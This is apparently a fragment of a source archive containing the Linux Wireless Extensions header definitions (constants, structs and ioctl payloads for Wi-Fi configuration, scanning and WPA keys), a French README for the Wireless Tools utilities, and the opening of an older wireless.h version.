/* 32 bits int */ #define IW_PRIV_TYPE_FLOAT 0x5000 /* struct iw_freq */ #define IW_PRIV_TYPE_ADDR 0x6000 /* struct sockaddr */ #define IW_PRIV_SIZE_FIXED 0x0800 /* Variable or fixed number of args */ #define IW_PRIV_SIZE_MASK 0x07FF /* Max number of those args */ /* * Note : if the number of args is fixed and the size < 16 octets, * instead of passing a pointer we will put args in the iwreq struct... */ /* ----------------------- OTHER CONSTANTS ----------------------- */ /* Maximum frequencies in the range struct */ #define IW_MAX_FREQUENCIES 32 /* Note : if you have something like 80 frequencies, * don't increase this constant and don't fill the frequency list. * The user will be able to set by channel anyway... */ /* Maximum bit rates in the range struct */ #define IW_MAX_BITRATES 32 /* Maximum tx powers in the range struct */ #define IW_MAX_TXPOWER 8 /* Note : if you more than 8 TXPowers, just set the max and min or * a few of them in the struct iw_range. */ /* Maximum of address that you may set with SPY */ #define IW_MAX_SPY 8 /* Maximum of address that you may get in the list of access points in range */ #define IW_MAX_AP 64 /* Maximum size of the ESSID and NICKN strings */ #define IW_ESSID_MAX_SIZE 32 /* Modes of operation */ #define IW_MODE_AUTO 0 /* Let the driver decides */ #define IW_MODE_ADHOC 1 /* Single cell network */ #define IW_MODE_INFRA 2 /* Multi cell network, roaming, ... */ #define IW_MODE_MASTER 3 /* Synchronisation master or Access Point */ #define IW_MODE_REPEAT 4 /* Wireless Repeater (forwarder) */ #define IW_MODE_SECOND 5 /* Secondary master/repeater (backup) */ #define IW_MODE_MONITOR 6 /* Passive monitor (listen only) */ /* Statistics flags (bitmask in updated) */ #define IW_QUAL_QUAL_UPDATED 0x01 /* Value was updated since last read */ #define IW_QUAL_LEVEL_UPDATED 0x02 #define IW_QUAL_NOISE_UPDATED 0x04 #define IW_QUAL_ALL_UPDATED 0x07 #define IW_QUAL_DBM 0x08 /* Level + Noise are dBm */ #define IW_QUAL_QUAL_INVALID 0x10 /* Driver doesn't provide value */ #define IW_QUAL_LEVEL_INVALID 0x20 #define IW_QUAL_NOISE_INVALID 0x40 #define IW_QUAL_ALL_INVALID 0x70 /* Frequency flags */ #define IW_FREQ_AUTO 0x00 /* Let the driver decides */ #define IW_FREQ_FIXED 0x01 /* Force a specific value */ /* Maximum number of size of encoding token available * they are listed in the range structure */ #define IW_MAX_ENCODING_SIZES 8 /* Maximum size of the encoding token in bytes */ #define IW_ENCODING_TOKEN_MAX 64 /* 512 bits (for now) */ /* Flags for encoding (along with the token) */ #define IW_ENCODE_INDEX 0x00FF /* Token index (if needed) */ #define IW_ENCODE_FLAGS 0xFF00 /* Flags defined below */ #define IW_ENCODE_MODE 0xF000 /* Modes defined below */ #define IW_ENCODE_DISABLED 0x8000 /* Encoding disabled */ #define IW_ENCODE_ENABLED 0x0000 /* Encoding enabled */ #define IW_ENCODE_RESTRICTED 0x4000 /* Refuse non-encoded packets */ #define IW_ENCODE_OPEN 0x2000 /* Accept non-encoded packets */ #define IW_ENCODE_NOKEY 0x0800 /* Key is write only, so not present */ #define IW_ENCODE_TEMP 0x0400 /* Temporary key */ /* Power management flags available (along with the value, if any) */ #define IW_POWER_ON 0x0000 /* No details... */ #define IW_POWER_TYPE 0xF000 /* Type of parameter */ #define IW_POWER_PERIOD 0x1000 /* Value is a period/duration of */ #define IW_POWER_TIMEOUT 0x2000 /* Value is a timeout (to go asleep) */ #define IW_POWER_MODE 0x0F00 /* Power Management mode */ #define IW_POWER_UNICAST_R 0x0100 /* Receive only unicast messages */ #define IW_POWER_MULTICAST_R 0x0200 /* Receive only multicast messages */ #define IW_POWER_ALL_R 0x0300 /* Receive all messages though PM */ #define IW_POWER_FORCE_S 0x0400 /* Force PM procedure for sending unicast */ #define IW_POWER_REPEATER 0x0800 /* Repeat broadcast messages in PM period */ #define IW_POWER_MODIFIER 0x000F /* Modify a parameter */ #define IW_POWER_MIN 0x0001 /* Value is a minimum */ #define IW_POWER_MAX 0x0002 /* Value is a maximum */ #define IW_POWER_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ /* Transmit Power flags available */ #define IW_TXPOW_TYPE 0x00FF /* Type of value */ #define IW_TXPOW_DBM 0x0000 /* Value is in dBm */ #define IW_TXPOW_MWATT 0x0001 /* Value is in mW */ #define IW_TXPOW_RELATIVE 0x0002 /* Value is in arbitrary units */ #define IW_TXPOW_RANGE 0x1000 /* Range of value between min/max */ /* Retry limits and lifetime flags available */ #define IW_RETRY_ON 0x0000 /* No details... */ #define IW_RETRY_TYPE 0xF000 /* Type of parameter */ #define IW_RETRY_LIMIT 0x1000 /* Maximum number of retries*/ #define IW_RETRY_LIFETIME 0x2000 /* Maximum duration of retries in us */ #define IW_RETRY_MODIFIER 0x000F /* Modify a parameter */ #define IW_RETRY_MIN 0x0001 /* Value is a minimum */ #define IW_RETRY_MAX 0x0002 /* Value is a maximum */ #define IW_RETRY_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ /* Scanning request flags */ #define IW_SCAN_DEFAULT 0x0000 /* Default scan of the driver */ #define IW_SCAN_ALL_ESSID 0x0001 /* Scan all ESSIDs */ #define IW_SCAN_THIS_ESSID 0x0002 /* Scan only this ESSID */ #define IW_SCAN_ALL_FREQ 0x0004 /* Scan all Frequencies */ #define IW_SCAN_THIS_FREQ 0x0008 /* Scan only this Frequency */ #define IW_SCAN_ALL_MODE 0x0010 /* Scan all Modes */ #define IW_SCAN_THIS_MODE 0x0020 /* Scan only this Mode */ #define IW_SCAN_ALL_RATE 0x0040 /* Scan all Bit-Rates */ #define IW_SCAN_THIS_RATE 0x0080 /* Scan only this Bit-Rate */ /* struct iw_scan_req scan_type */ #define IW_SCAN_TYPE_ACTIVE 0 #define IW_SCAN_TYPE_PASSIVE 1 /* Maximum size of returned data */ #define IW_SCAN_MAX_DATA 4096 /* In bytes */ /* Max number of char in custom event - use multiple of them if needed */ #define IW_CUSTOM_MAX 256 /* In bytes */ /* Generic information element */ #define IW_GENERIC_IE_MAX 1024 /* MLME requests (SIOCSIWMLME / struct iw_mlme) */ #define IW_MLME_DEAUTH 0 #define IW_MLME_DISASSOC 1 /* SIOCSIWAUTH/SIOCGIWAUTH struct iw_param flags */ #define IW_AUTH_INDEX 0x0FFF #define IW_AUTH_FLAGS 0xF000 /* SIOCSIWAUTH/SIOCGIWAUTH parameters (0 .. 4095) * (IW_AUTH_INDEX mask in struct iw_param flags; this is the index of the * parameter that is being set/get to; value will be read/written to * struct iw_param value field) */ #define IW_AUTH_WPA_VERSION 0 #define IW_AUTH_CIPHER_PAIRWISE 1 #define IW_AUTH_CIPHER_GROUP 2 #define IW_AUTH_KEY_MGMT 3 #define IW_AUTH_TKIP_COUNTERMEASURES 4 #define IW_AUTH_DROP_UNENCRYPTED 5 #define IW_AUTH_80211_AUTH_ALG 6 #define IW_AUTH_WPA_ENABLED 7 #define IW_AUTH_RX_UNENCRYPTED_EAPOL 8 #define IW_AUTH_ROAMING_CONTROL 9 #define IW_AUTH_PRIVACY_INVOKED 10 /* IW_AUTH_WPA_VERSION values (bit field) */ #define IW_AUTH_WPA_VERSION_DISABLED 0x00000001 #define IW_AUTH_WPA_VERSION_WPA 0x00000002 #define IW_AUTH_WPA_VERSION_WPA2 0x00000004 /* IW_AUTH_PAIRWISE_CIPHER and IW_AUTH_GROUP_CIPHER values (bit field) */ #define IW_AUTH_CIPHER_NONE 0x00000001 #define IW_AUTH_CIPHER_WEP40 0x00000002 #define IW_AUTH_CIPHER_TKIP 0x00000004 #define IW_AUTH_CIPHER_CCMP 0x00000008 #define IW_AUTH_CIPHER_WEP104 0x00000010 /* IW_AUTH_KEY_MGMT values (bit field) */ #define IW_AUTH_KEY_MGMT_802_1X 1 #define IW_AUTH_KEY_MGMT_PSK 2 /* IW_AUTH_80211_AUTH_ALG values (bit field) */ #define IW_AUTH_ALG_OPEN_SYSTEM 0x00000001 #define IW_AUTH_ALG_SHARED_KEY 0x00000002 #define IW_AUTH_ALG_LEAP 0x00000004 /* IW_AUTH_ROAMING_CONTROL values */ #define IW_AUTH_ROAMING_ENABLE 0 /* driver/firmware based roaming */ #define IW_AUTH_ROAMING_DISABLE 1 /* user space program used for roaming * control */ /* SIOCSIWENCODEEXT definitions */ #define IW_ENCODE_SEQ_MAX_SIZE 8 /* struct iw_encode_ext ->alg */ #define IW_ENCODE_ALG_NONE 0 #define IW_ENCODE_ALG_WEP 1 #define IW_ENCODE_ALG_TKIP 2 #define IW_ENCODE_ALG_CCMP 3 /* struct iw_encode_ext ->ext_flags */ #define IW_ENCODE_EXT_TX_SEQ_VALID 0x00000001 #define IW_ENCODE_EXT_RX_SEQ_VALID 0x00000002 #define IW_ENCODE_EXT_GROUP_KEY 0x00000004 #define IW_ENCODE_EXT_SET_TX_KEY 0x00000008 /* IWEVMICHAELMICFAILURE : struct iw_michaelmicfailure ->flags */ #define IW_MICFAILURE_KEY_ID 0x00000003 /* Key ID 0..3 */ #define IW_MICFAILURE_GROUP 0x00000004 #define IW_MICFAILURE_PAIRWISE 0x00000008 #define IW_MICFAILURE_STAKEY 0x00000010 #define IW_MICFAILURE_COUNT 0x00000060 /* 1 or 2 (0 = count not supported) */ /* Bit field values for enc_capa in struct iw_range */ #define IW_ENC_CAPA_WPA 0x00000001 #define IW_ENC_CAPA_WPA2 0x00000002 #define IW_ENC_CAPA_CIPHER_TKIP 0x00000004 #define IW_ENC_CAPA_CIPHER_CCMP 0x00000008 /* Event capability macros - in (struct iw_range *)->event_capa * Because we have more than 32 possible events, we use an array of * 32 bit bitmasks. Note : 32 bits = 0x20 = 2^5. */ #define IW_EVENT_CAPA_BASE(cmd) ((cmd >= SIOCIWFIRSTPRIV) ? \ (cmd - SIOCIWFIRSTPRIV + 0x60) : \ (cmd - SIOCSIWCOMMIT)) #define IW_EVENT_CAPA_INDEX(cmd) (IW_EVENT_CAPA_BASE(cmd) >> 5) #define IW_EVENT_CAPA_MASK(cmd) (1 << (IW_EVENT_CAPA_BASE(cmd) & 0x1F)) /* Event capability constants - event autogenerated by the kernel * This list is valid for most 802.11 devices, customise as needed... */ #define IW_EVENT_CAPA_K_0 (IW_EVENT_CAPA_MASK(0x8B04) | \ IW_EVENT_CAPA_MASK(0x8B06) | \ IW_EVENT_CAPA_MASK(0x8B1A)) #define IW_EVENT_CAPA_K_1 (IW_EVENT_CAPA_MASK(0x8B2A)) /* "Easy" macro to set events in iw_range (less efficient) */ #define IW_EVENT_CAPA_SET(event_capa, cmd) (event_capa[IW_EVENT_CAPA_INDEX(cmd)] |= IW_EVENT_CAPA_MASK(cmd)) #define IW_EVENT_CAPA_SET_KERNEL(event_capa) {event_capa[0] |= IW_EVENT_CAPA_K_0; event_capa[1] |= IW_EVENT_CAPA_K_1; } /****************************** TYPES ******************************/ /* --------------------------- SUBTYPES --------------------------- */ /* * Generic format for most parameters that fit in an int */ struct iw_param { __s32 value; /* The value of the parameter itself */ __u8 fixed; /* Hardware should not use auto select */ __u8 disabled; /* Disable the feature */ __u16 flags; /* Various specifc flags (if any) */ }; /* * For all data larger than 16 octets, we need to use a * pointer to memory allocated in user space. */ struct iw_point { void __user *pointer; /* Pointer to the data (in user space) */ __u16 length; /* number of fields or size in bytes */ __u16 flags; /* Optional params */ }; /* * A frequency * For numbers lower than 10^9, we encode the number in 'm' and * set 'e' to 0 * For number greater than 10^9, we divide it by the lowest power * of 10 to get 'm' lower than 10^9, with 'm'= f / (10^'e')... * The power of 10 is in 'e', the result of the division is in 'm'. */ struct iw_freq { __s32 m; /* Mantissa */ __s16 e; /* Exponent */ __u8 i; /* List index (when in range struct) */ __u8 flags; /* Flags (fixed/auto) */ }; /* * Quality of the link */ struct iw_quality { __u8 qual; /* link quality (%retries, SNR, %missed beacons or better...) */ __u8 level; /* signal level (dBm) */ __u8 noise; /* noise level (dBm) */ __u8 updated; /* Flags to know if updated */ }; /* * Packet discarded in the wireless adapter due to * "wireless" specific problems... * Note : the list of counter and statistics in net_device_stats * is already pretty exhaustive, and you should use that first. * This is only additional stats... */ struct iw_discarded { __u32 nwid; /* Rx : Wrong nwid/essid */ __u32 code; /* Rx : Unable to code/decode (WEP) */ __u32 fragment; /* Rx : Can't perform MAC reassembly */ __u32 retries; /* Tx : Max MAC retries num reached */ __u32 misc; /* Others cases */ }; /* * Packet/Time period missed in the wireless adapter due to * "wireless" specific problems... */ struct iw_missed { __u32 beacon; /* Missed beacons/superframe */ }; /* * Quality range (for spy threshold) */ struct iw_thrspy { struct sockaddr addr; /* Source address (hw/mac) */ struct iw_quality qual; /* Quality of the link */ struct iw_quality low; /* Low threshold */ struct iw_quality high; /* High threshold */ }; /* * Optional data for scan request * * Note: these optional parameters are controlling parameters for the * scanning behavior, these do not apply to getting scan results * (SIOCGIWSCAN). Drivers are expected to keep a local BSS table and * provide a merged results with all BSSes even if the previous scan * request limited scanning to a subset, e.g., by specifying an SSID. * Especially, scan results are required to include an entry for the * current BSS if the driver is in Managed mode and associated with an AP. */ struct iw_scan_req { __u8 scan_type; /* IW_SCAN_TYPE_{ACTIVE,PASSIVE} */ __u8 essid_len; __u8 num_channels; /* num entries in channel_list; * 0 = scan all allowed channels */ __u8 flags; /* reserved as padding; use zero, this may * be used in the future for adding flags * to request different scan behavior */ struct sockaddr bssid; /* ff:ff:ff:ff:ff:ff for broadcast BSSID or * individual address of a specific BSS */ /* * Use this ESSID if IW_SCAN_THIS_ESSID flag is used instead of using * the current ESSID. This allows scan requests for specific ESSID * without having to change the current ESSID and potentially breaking * the current association. */ __u8 essid[IW_ESSID_MAX_SIZE]; /* * Optional parameters for changing the default scanning behavior. * These are based on the MLME-SCAN.request from IEEE Std 802.11. * TU is 1.024 ms. If these are set to 0, driver is expected to use * reasonable default values. min_channel_time defines the time that * will be used to wait for the first reply on each channel. If no * replies are received, next channel will be scanned after this. If * replies are received, total time waited on the channel is defined by * max_channel_time. */ __u32 min_channel_time; /* in TU */ __u32 max_channel_time; /* in TU */ struct iw_freq channel_list[IW_MAX_FREQUENCIES]; }; /* ------------------------- WPA SUPPORT ------------------------- */ /* * Extended data structure for get/set encoding (this is used with * SIOCSIWENCODEEXT/SIOCGIWENCODEEXT. struct iw_point and IW_ENCODE_* * flags are used in the same way as with SIOCSIWENCODE/SIOCGIWENCODE and * only the data contents changes (key data -> this structure, including * key data). * * If the new key is the first group key, it will be set as the default * TX key. Otherwise, default TX key index is only changed if * IW_ENCODE_EXT_SET_TX_KEY flag is set. * * Key will be changed with SIOCSIWENCODEEXT in all cases except for * special "change TX key index" operation which is indicated by setting * key_len = 0 and ext_flags |= IW_ENCODE_EXT_SET_TX_KEY. * * tx_seq/rx_seq are only used when respective * IW_ENCODE_EXT_{TX,RX}_SEQ_VALID flag is set in ext_flags. Normal * TKIP/CCMP operation is to set RX seq with SIOCSIWENCODEEXT and start * TX seq from zero whenever key is changed. SIOCGIWENCODEEXT is normally * used only by an Authenticator (AP or an IBSS station) to get the * current TX sequence number. Using TX_SEQ_VALID for SIOCSIWENCODEEXT and * RX_SEQ_VALID for SIOCGIWENCODEEXT are optional, but can be useful for * debugging/testing. */ struct iw_encode_ext { __u32 ext_flags; /* IW_ENCODE_EXT_* */ __u8 tx_seq[IW_ENCODE_SEQ_MAX_SIZE]; /* LSB first */ __u8 rx_seq[IW_ENCODE_SEQ_MAX_SIZE]; /* LSB first */ struct sockaddr addr; /* ff:ff:ff:ff:ff:ff for broadcast/multicast * (group) keys or unicast address for * individual keys */ __u16 alg; /* IW_ENCODE_ALG_* */ __u16 key_len; __u8 key[0]; }; /* SIOCSIWMLME data */ struct iw_mlme { __u16 cmd; /* IW_MLME_* */ __u16 reason_code; struct sockaddr addr; }; /* SIOCSIWPMKSA data */ #define IW_PMKSA_ADD 1 #define IW_PMKSA_REMOVE 2 #define IW_PMKSA_FLUSH 3 #define IW_PMKID_LEN 16 struct iw_pmksa { __u32 cmd; /* IW_PMKSA_* */ struct sockaddr bssid; __u8 pmkid[IW_PMKID_LEN]; }; /* IWEVMICHAELMICFAILURE data */ struct iw_michaelmicfailure { __u32 flags; struct sockaddr src_addr; __u8 tsc[IW_ENCODE_SEQ_MAX_SIZE]; /* LSB first */ }; /* IWEVPMKIDCAND data */ #define IW_PMKID_CAND_PREAUTH 0x00000001 /* RNS pre-authentication enabled */ struct iw_pmkid_cand { __u32 flags; /* IW_PMKID_CAND_* */ __u32 index; /* the smaller the index, the higher the * priority */ struct sockaddr bssid; }; /* ------------------------ WIRELESS STATS ------------------------ */ /* * Wireless statistics (used for /proc/net/wireless) */ struct iw_statistics { __u16 status; /* Status * - device dependent for now */ struct iw_quality qual; /* Quality of the link * (instant/mean/max) */ struct iw_discarded discard; /* Packet discarded counts */ struct iw_missed miss; /* Packet missed counts */ }; /* ------------------------ IOCTL REQUEST ------------------------ */ /* * This structure defines the payload of an ioctl, and is used * below. * * Note that this structure should fit on the memory footprint * of iwreq (which is the same as ifreq), which mean a max size of * 16 octets = 128 bits. Warning, pointers might be 64 bits wide... * You should check this when increasing the structures defined * above in this file... */ union iwreq_data { /* Config - generic */ char name[IFNAMSIZ]; /* Name : used to verify the presence of wireless extensions. * Name of the protocol/provider... */ struct iw_point essid; /* Extended network name */ struct iw_param nwid; /* network id (or domain - the cell) */ struct iw_freq freq; /* frequency or channel : * 0-1000 = channel * > 1000 = frequency in Hz */ struct iw_param sens; /* signal level threshold */ struct iw_param bitrate; /* default bit rate */ struct iw_param txpower; /* default transmit power */ struct iw_param rts; /* RTS threshold threshold */ struct iw_param frag; /* Fragmentation threshold */ __u32 mode; /* Operation mode */ struct iw_param retry; /* Retry limits & lifetime */ struct iw_point encoding; /* Encoding stuff : tokens */ struct iw_param power; /* PM duration/timeout */ struct iw_quality qual; /* Quality part of statistics */ struct sockaddr ap_addr; /* Access point address */ struct sockaddr addr; /* Destination address (hw/mac) */ struct iw_param param; /* Other small parameters */ struct iw_point data; /* Other large parameters */ }; /* * The structure to exchange data for ioctl. * This structure is the same as 'struct ifreq', but (re)defined for * convenience... * Do I need to remind you about structure size (32 octets) ? */ struct iwreq { union { char ifrn_name[IFNAMSIZ]; /* if name, e.g. "eth0" */ } ifr_ifrn; /* Data part (defined just above) */ union iwreq_data u; }; /* -------------------------- IOCTL DATA -------------------------- */ /* * For those ioctl which want to exchange mode data that what could * fit in the above structure... */ /* * Range of parameters */ struct iw_range { /* Informative stuff (to choose between different interface) */ __u32 throughput; /* To give an idea... */ /* In theory this value should be the maximum benchmarked * TCP/IP throughput, because with most of these devices the * bit rate is meaningless (overhead an co) to estimate how * fast the connection will go and pick the fastest one. * I suggest people to play with Netperf or any benchmark... */ /* NWID (or domain id) */ __u32 min_nwid; /* Minimal NWID we are able to set */ __u32 max_nwid; /* Maximal NWID we are able to set */ /* Old Frequency (backward compat - moved lower ) */ __u16 old_num_channels; __u8 old_num_frequency; /* Wireless event capability bitmasks */ __u32 event_capa[6]; /* signal level threshold range */ __s32 sensitivity; /* Quality of link & SNR stuff */ /* Quality range (link, level, noise) * If the quality is absolute, it will be in the range [0 ; max_qual], * if the quality is dBm, it will be in the range [max_qual ; 0]. * Don't forget that we use 8 bit arithmetics... */ struct iw_quality max_qual; /* Quality of the link */ /* This should contain the average/typical values of the quality * indicator. This should be the threshold between a "good" and * a "bad" link (example : monitor going from green to orange). * Currently, user space apps like quality monitors don't have any * way to calibrate the measurement. With this, they can split * the range between 0 and max_qual in different quality level * (using a geometric subdivision centered on the average). * I expect that people doing the user space apps will feedback * us on which value we need to put in each driver... */ struct iw_quality avg_qual; /* Quality of the link */ /* Rates */ __u8 num_bitrates; /* Number of entries in the list */ __s32 bitrate[IW_MAX_BITRATES]; /* list, in bps */ /* RTS threshold */ __s32 min_rts; /* Minimal RTS threshold */ __s32 max_rts; /* Maximal RTS threshold */ /* Frag threshold */ __s32 min_frag; /* Minimal frag threshold */ __s32 max_frag; /* Maximal frag threshold */ /* Power Management duration & timeout */ __s32 min_pmp; /* Minimal PM period */ __s32 max_pmp; /* Maximal PM period */ __s32 min_pmt; /* Minimal PM timeout */ __s32 max_pmt; /* Maximal PM timeout */ __u16 pmp_flags; /* How to decode max/min PM period */ __u16 pmt_flags; /* How to decode max/min PM timeout */ __u16 pm_capa; /* What PM options are supported */ /* Encoder stuff */ __u16 encoding_size[IW_MAX_ENCODING_SIZES]; /* Different token sizes */ __u8 num_encoding_sizes; /* Number of entry in the list */ __u8 max_encoding_tokens; /* Max number of tokens */ /* For drivers that need a "login/passwd" form */ __u8 encoding_login_index; /* token index for login token */ /* Transmit power */ __u16 txpower_capa; /* What options are supported */ __u8 num_txpower; /* Number of entries in the list */ __s32 txpower[IW_MAX_TXPOWER]; /* list, in bps */ /* Wireless Extension version info */ __u8 we_version_compiled; /* Must be WIRELESS_EXT */ __u8 we_version_source; /* Last update of source */ /* Retry limits and lifetime */ __u16 retry_capa; /* What retry options are supported */ __u16 retry_flags; /* How to decode max/min retry limit */ __u16 r_time_flags; /* How to decode max/min retry life */ __s32 min_retry; /* Minimal number of retries */ __s32 max_retry; /* Maximal number of retries */ __s32 min_r_time; /* Minimal retry lifetime */ __s32 max_r_time; /* Maximal retry lifetime */ /* Frequency */ __u16 num_channels; /* Number of channels [0; num - 1] */ __u8 num_frequency; /* Number of entry in the list */ struct iw_freq freq[IW_MAX_FREQUENCIES]; /* list */ /* Note : this frequency list doesn't need to fit channel numbers, * because each entry contain its channel index */ __u32 enc_capa; /* IW_ENC_CAPA_* bit field */ }; /* * Private ioctl interface information */ struct iw_priv_args { __u32 cmd; /* Number of the ioctl to issue */ __u16 set_args; /* Type and number of args */ __u16 get_args; /* Type and number of args */ char name[IFNAMSIZ]; /* Name of the extension */ }; /* ----------------------- WIRELESS EVENTS ----------------------- */ /* * Wireless events are carried through the rtnetlink socket to user * space. They are encapsulated in the IFLA_WIRELESS field of * a RTM_NEWLINK message. */ /* * A Wireless Event. Contains basically the same data as the ioctl... */ struct iw_event { __u16 len; /* Real lenght of this stuff */ __u16 cmd; /* Wireless IOCTL */ union iwreq_data u; /* IOCTL fixed payload */ }; /* Size of the Event prefix (including padding and alignement junk) */ #define IW_EV_LCP_LEN (sizeof(struct iw_event) - sizeof(union iwreq_data)) /* Size of the various events */ #define IW_EV_CHAR_LEN (IW_EV_LCP_LEN + IFNAMSIZ) #define IW_EV_UINT_LEN (IW_EV_LCP_LEN + sizeof(__u32)) #define IW_EV_FREQ_LEN (IW_EV_LCP_LEN + sizeof(struct iw_freq)) #define IW_EV_PARAM_LEN (IW_EV_LCP_LEN + sizeof(struct iw_param)) #define IW_EV_ADDR_LEN (IW_EV_LCP_LEN + sizeof(struct sockaddr)) #define IW_EV_QUAL_LEN (IW_EV_LCP_LEN + sizeof(struct iw_quality)) /* iw_point events are special. First, the payload (extra data) come at * the end of the event, so they are bigger than IW_EV_POINT_LEN. Second, * we omit the pointer, so start at an offset. */ #define IW_EV_POINT_OFF (((char *) &(((struct iw_point *) NULL)->length)) - \ (char *) NULL) #define IW_EV_POINT_LEN (IW_EV_LCP_LEN + sizeof(struct iw_point) - \ IW_EV_POINT_OFF) #endif /* _LINUX_WIRELESS_H */ reaver-1.4/src/lwe/README.fr0000755000175000017500000001441611705505257015060 0ustar reaverreaver Wireless Tools -------------- Ce paquetage contient les Wireless Tools (Outils Wireless), utilis pour manipuler les Wireless Extensions. Les Wireless Extensions sont une interface vous permettant de manier les paramtres spcifiques aux Wireless LAN (rseaux sans fil) et d'obtenir les statistiques spcifiques. page web : -------- Vous trouverez beaucoup d'informations utiles sur : http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/Tools.html http://web.hpl.hp.com/personal/Jean_Tourrilhes/Linux/ version pr compile -------------------- La plupart des distributions Linux fournit un paquetage pr compil contenant ces outils. Et beaucoup d'entre elles les pr installent par dfaut. Par ailleurs, l'installation de ce paquetage est (maintenant) facile et vous permet d'obtenir une version plus jour. INSTALL ------- Ce fichier contient les instructions et les requis pour l'installation. *Doit* tre lu. DISTRIBUTION.txt ---------------- Ce fichier documente la manire de configurer les cartes wireless au dmarrage avec diffrentes distributions Linux (en utilisant les Wireless Extensions). Veuillez le lire attentivement avant de poser des questions. Dans ce fichier, j'essaye de rassembler toutes les spcificits de l'intgration des Wireless Extensions dans les ditributions Linux les plus courantes. J'ai besoin de votre aide pour complter ce fichier. HOTPLUG.txt ----------- Ce fichier documente la manire de grer et configurer les cartes wireless jectables utilisant Hotplug. Il est plus avanc que les simples procdures de DISTRIBUTIONS.txt. Pour l'instant, il est principalement orient Debian, mais j'espre que vous contribuerez pour d'autres distributions. PCMCIA.txt ---------- Ce fichier dcrit comment utiliser le script init PCMCIA pour configurer les Wireless Extensions et comment utiliser les schemes PCMCIA (NDT : procdures automatiques). pages man (iwconfig.8, iwlist.8, iwpriv.8, iwspy.8) --------- TRS IMPORTANT : J'essaye de garder les pages man jour, ainsi vous devriez les lire avant de poser des questions. TRS IMPORTANT : Ces pages man dcrivent les fonctionnalits des outils, pas un priphrique n'en implmente toute l'tendue (et les pilotes en implmentent souvent encore moins). Pour autant que je sache, les pages man constituent la plus complte, la plus jour et la plus prcise des documentations des Wireless Tools. Une mise jour de la page web concernant les Wireless Extensions a t faite il y a fort longtemps. Envoyez-moi vos retours. Les pages man peuvent aussi bien tre copies dans un endroit o la commande man les trouvera, comme /usr/local/man/man8, ou peut tre lue localement avec la commande : nroff -man xxx.8 | less (NDT : ou plus simplement avec man ./xxx.8 ) pages man localises (fr/*) -------------------- Les pages de man localises ne sont pas crites par moi (NDT\ : ainsi que ce document), par consquent les seules disponibles sont celles qui me sont envoyes par de courageux volontaires et il faut s'attendre ce que ces pages man soient en dcalage par rapport la version anglaise (c.--d. qu'elles n'aient pas toutes les mises jour). La traduction des pages man n'est pas une tche trs gratifiante, sans compter mon anglais bancal et un certain nombre de termes techniques difficilement traduisibles vers d'autres langues, donc rfrez-vous la version anglaise en cas de doute. iwconfig.c ---------- L'outil wireless principal. Utilis pour la configuration du matriel et pour voir les paramtres wireless les plus communs. iwlist.c -------- Affiche une grosse quantit d'information qui ne l'est pas par iwconfig. Par exemple, tous les dbits, toutes les frquences, toutes les clefs... iwspy.c ------- Test de support Mobile IP et autorise la rcupration de statistiques par adresse MAC (au lieu des stats globales). Aussi, pour certains pilotes/priphriques, c'est la seule manire d'obtenir des stats en mode Ad-Hoc. iwpriv.c -------- Manipule les ioctls prives des pilotes ( driver private ioctls ) : tous les paramtres qui sont spcifiques un pilote ou un priphrique et qui, par consquent, ne font pas partie de iwconfig. iwgetid.c --------- Affiche l'ESSID ou le NWID du priphrique spcifi. Peut aussi l'afficher dans un format pouvant tre utilis comme un PCMCIA Scheme . iwevent.c --------- Affiche les Wireless Events (vnements Wireless). Cela est nouveau, il n'y a donc pas encore beaucoup de pilotes qui le supportent... ifrename.c : ---------- Renomme les interfaces rseau bases sur diffrents attributs. iwlib.c ------- Les librairies helper Wireless Tools. Peuvent tre utiles si vous voulez crer votre propre application en utilisant les Wireless Extensions. Changelog, contributions : ------------------------ Voir CHANGELOG.h wireless.h ---------- Dfinition des Wireless Extensions. Gardez l'esprit que la dfinition utilise par les pilotes et les outils (Wireless Tools) doivent correspondre, sinon de drles de choses peuvent arriver. Les outils essayent de le vrifier. Depuis les Wireless Extensions v12, vous ne pouvez plus mettre ce fichier dans les enttes de votre noyau pour mettre jour les Wireless Extensions, vous avez besoin d'utiliser les patches complets disponibles sur ma page web. Donc, son utilit est plus pour le cas o vous prvoyez de faire de la compilation transverse (if you plan to do some cross compile ) ou quelque chose de similaire. Juste pour votre plaisir, il y en a diffrentes versions. Si vos noyau/pilotes sont anciens, vous voudrez peut-tre essayer les anciennes versions... sample_xxx.c : ------------ Diffrents chantillons de code montrant comment implmenter quelques unes des caractristiques les plus intressantes des Wireless Extensions dans votre pilote. Notez qu'il n'y a pas d'assurance que ce code compile, laissez-le tel quel, mais cela devrait vous orienter dans la bonne direction. Aussi, jetez un il aux pilotes existant dans le noyau Linux. Autres outils : ------------- Ma page web liste bien d'autres outils utilisant les Wireless Extensions que vous pourriez trouver utiles... http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/Tools.html#links Autres questions : ---------------- Vous avez le source, et il est document. Dans 99% des cas, vous y trouverez votre rponse. Bonne chance... Jean reaver-1.4/src/lwe/wireless.12.h0000755000175000017500000005021311705505257016014 0ustar reaverreaver/* * This file define a set of standard wireless extensions * * Version : 12 5.10.01 * * Authors : Jean Tourrilhes - HPL - */ #ifndef _LINUX_WIRELESS_H #define _LINUX_WIRELESS_H /************************** DOCUMENTATION **************************/ /* * Basically, the wireless extensions are for now a set of standard ioctl * call + /proc/net/wireless * * The entry /proc/net/wireless give statistics and information on the * driver. * This is better than having each driver having its entry because * its centralised and we may remove the driver module safely. * * Ioctl are used to configure the driver and issue commands. This is * better than command line options of insmod because we may want to * change dynamically (while the driver is running) some parameters. * * The ioctl mechanimsm are copied from standard devices ioctl. * We have the list of command plus a structure descibing the * data exchanged... * Note that to add these ioctl, I was obliged to modify : * net/core/dev.c (two place + add include) * net/ipv4/af_inet.c (one place + add include) * * /proc/net/wireless is a copy of /proc/net/dev. * We have a structure for data passed from the driver to /proc/net/wireless * Too add this, I've modified : * net/core/dev.c (two other places) * include/linux/netdevice.h (one place) * include/linux/proc_fs.h (one place) * * Do not add here things that are redundant with other mechanisms * (drivers init, ifconfig, /proc/net/dev, ...) and with are not * wireless specific. * * These wireless extensions are not magic : each driver has to provide * support for them... * * IMPORTANT NOTE : As everything in the kernel, this is very much a * work in progress. Contact me if you have ideas of improvements... */ /***************************** INCLUDES *****************************/ #include /* for "caddr_t" et al */ #include /* for "struct sockaddr" et al */ #include /* for IFNAMSIZ and co... */ /**************************** CONSTANTS ****************************/ /* --------------------------- VERSION --------------------------- */ /* * This constant is used to know the availability of the wireless * extensions and to know 